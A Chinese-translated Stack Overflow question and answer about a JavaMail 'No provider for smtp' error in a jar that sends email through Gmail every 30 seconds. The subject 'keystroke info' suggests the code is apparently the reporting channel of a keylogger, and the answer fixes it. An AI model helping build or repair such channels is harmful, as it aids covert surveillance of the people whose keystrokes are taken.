通过 gmail 发送电子邮件时出现 Java smtp 错误

标签 java

基本上,我通过 Eclipse 创建了一个可运行的 jar 文件,它应该每 30 秒向我发送一封电子邮件。代码在 Eclipse 中运行时运行良好,但在创建 jar 文件并运行 jar 文件后出现此错误。

javax.mail.NoSuchProviderException: No provider for smtp
    at javax.mail.Session.getProvider(Session.java:460)
    at javax.mail.Session.getTransport(Session.java:655)
    at javax.mail.Session.getTransport(Session.java:636)
    at handlers.Sender.Send(Sender.java:89)
    at handlers.Sender.Send(Sender.java:34)
    at handlers.ManageService.run(ManageService.java:29)
    at java.lang.Thread.run(Unknown Source)

我已经在此页面上尝试了一些解决方案 Send email using java 但什么也做不了。我是否遗漏了什么或者其他人有任何其他解决方案吗?

package handlers;

import java.util.Properties;

import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;

public class Sender {
    private Sender() {

    }

    private static final String SENDERS_GMAIL = "EMAIL";
    private static final String SENDERS_PASSWORD = "PASS";

    private static final String RECIEVERS_EMAIL = "EMAIL";

    private static Properties mailServerProperties;
    private static Session mailSess;
    private static MimeMessage mailMessage;

    public static void sendMail(String emailBody) throws Throwable {
        mailServerProperties = System.getProperties();
        mailServerProperties.put("mail.smtp.port", "587");
        mailServerProperties.put("mail.smtp.auth", "true");
        mailServerProperties.put("mail.smtp.starttls.enable", "true");

        mailSess = Session.getDefaultInstance(mailServerProperties);
        mailMessage = new MimeMessage(mailSess);
        mailMessage.addRecipient(RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        mailMessage.setSubject("keystroke info");
        mailMessage.setContent(emailBody, "text/html");


        Transport transport = mailSess.getTransport("smtp");
        transport.connect("smtp.gmail.com", SENDERS_GMAIL, SENDERS_PASSWORD);
        transport.sendMessage(mailMessage, mailMessage.getAllRecipients());
        transport.close();
}

最佳答案

请更新您的 jar 文件并使用以下链接将最新稳定版本的 JavaMail jar 文件放入您的项目中:

https://mvnrepository.com/artifact/javax.mail/mail

然后你应该添加SMTP主机,你好像忘记在你的代码中了:

props.put("mail.smtp.host", "smtp.gmail.com");

试试这段代码:

    final String username = "username@gmail.com";
    final String password = "password";

    Properties props = new Properties();
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.starttls.enable", "true");
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.port", "587");

    Session session = Session.getInstance(props,
      new javax.mail.Authenticator() {
        protected PasswordAuthentication getPasswordAuthentication() {
            return new PasswordAuthentication(username, password);
        }
      });

    try {

        Message message = new MimeMessage(session);
        message.setFrom(new InternetAddress("from-email@gmail.com"));
        message.addRecipient(Message.RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        message.setSubject("keystroke info");
        message.setText("Email body text message");

        Transport.send(message);

        System.out.println("Done");

    } catch (MessagingException e) {
        throw new RuntimeException(e);
    }

关于通过 gmail 发送电子邮件时出现 Java smtp 错误,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53622741/

相关文章:

java - CardLayout 对齐不正确

java - 类文件夹不与任何输出库条目关联

java - @Transactional 注解 Spring boot 2.0 和 hibernate LazyInitializationException

java - 在java中,为什么闭包变量需要声明为final?

java - putExtra 是将数据传递到新 Activity 的唯一方法吗?

java - Swing应用程序初始化和加载屏幕的方法

java - 通过流从其他 map 收集 map

java - 蓝牙 HID 配置文件位于何处?

Java 转换字符串 yyyy-MM-dd HH :mm:ss to timestamp of Canada/Eastern timezone

java - 为 Hadoop 实现 WritableComparable